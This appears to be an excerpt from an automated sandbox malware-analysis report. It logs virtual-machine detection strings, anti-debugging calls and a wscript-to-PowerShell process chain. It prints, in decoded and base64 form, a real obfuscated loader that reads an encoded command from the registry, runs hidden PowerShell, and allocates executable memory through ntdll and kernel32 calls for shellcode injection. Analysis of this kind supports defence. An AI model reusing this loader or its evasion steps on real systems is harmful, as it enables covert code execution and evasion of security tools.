            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSystem information queried: ModuleInformationJump to behavior
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Guest Shutdown Service
            Source: powershell.exe, 00000018.00000002.877914300.0000000004C44000.00000004.00000001.sdmpBinary or memory string: Hyper-V
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Remote Desktop Virtualization Service
            Source: powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: vmicshutdown
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Volume Shadow Copy Requestor
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V PowerShell Direct Service
            Source: powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmpBinary or memory string: user32ntdllkernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=ProgramFiles=\internet explorer\ieinstal.exewindir=\syswow64\mshtml.tlbProgramFiles=\internet explorer\ieinstal.exewindir=\syswow64\mshtml.tlb
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Time Synchronization Service
            Source: powershell.exe, 0000001D.00000002.888004573.00000000076F0000.00000004.00000001.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe*
            Source: powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: vmicvss
            Source: ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000002.852441123.000000000362A000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.877914300.0000000004C44000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.876865142.0000000004A60000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.879668867.0000000004883000.00000004.00000001.sdmpBinary or memory string: \m:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
            Source: powershell.exe, 0000000C.00000002.632377605.00000000009CE000.00000004.00000020.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exeent
            Source: powershell.exe, 0000000C.00000002.639577139.0000000007621000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897383455.0000000009550000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Data Exchange Service
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Heartbeat Service
            Source: wscript.exe, 00000001.00000003.466346161.00000143096B7000.00000004.00000001.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
            Source: powershell.exe, 0000000C.00000002.642746702.000000000A40A000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.900526799.000000000A1FA000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: Hyper-V Guest Service Interface
            Source: powershell.exe, 0000001D.00000002.897445303.000000000A57A000.00000004.00000001.sdmpBinary or memory string: vmicheartbeat

            Anti Debugging

            barindex
            Hides threads from debuggers
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread information set: HideFromDebuggerJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeThread information set: HideFromDebuggerJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess queried: DebugPortJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess queried: DebugPortJump to behavior

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Encrypted powershell cmdline option found
            Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSI
            Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSIJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSIJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Base64 decoded #agry Scriven systemko Tredje5 Chromi8 BIBL Overstre7 prec Forligsin2 Benefit Apotheosiz udetil LOOSE Brneve9 Tonsi2 Tropis Pleuroli4 blkk Cystice Underrepor1 Proculcat PASTOR Sang combaronfo ompr Damned8 NEPH Fruitivere DEFAITIS Miskende5 Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Scriptere1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);}"@#refr Cancerinco Linguatul heale LEVIGAT LIGKISTE svovl platonismm Opdrifts Test-Path "inte" Test-Path "Haandboldh6" $Scriptere3=0;$Scriptere9=1048576;$Scriptere8=[Scriptere1]::NtAllocateVirtualMemory(-1,[ref]$Scriptere3,0,[ref]$Scriptere9,12288,64)#Obligat Opskrerfrs Desor6 GRUPPEMED LIVSKVA stersst Actionar6 Anarthro1 Wampanoagm7 Regnvejr7 koebtfurze Cornless3 Bryghusea Nightime baalta cyclo Sinds3 PLADELAGE Skinnebe6 Zweckscop9 teutoniz Assessore renas VEAL PRSIJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAV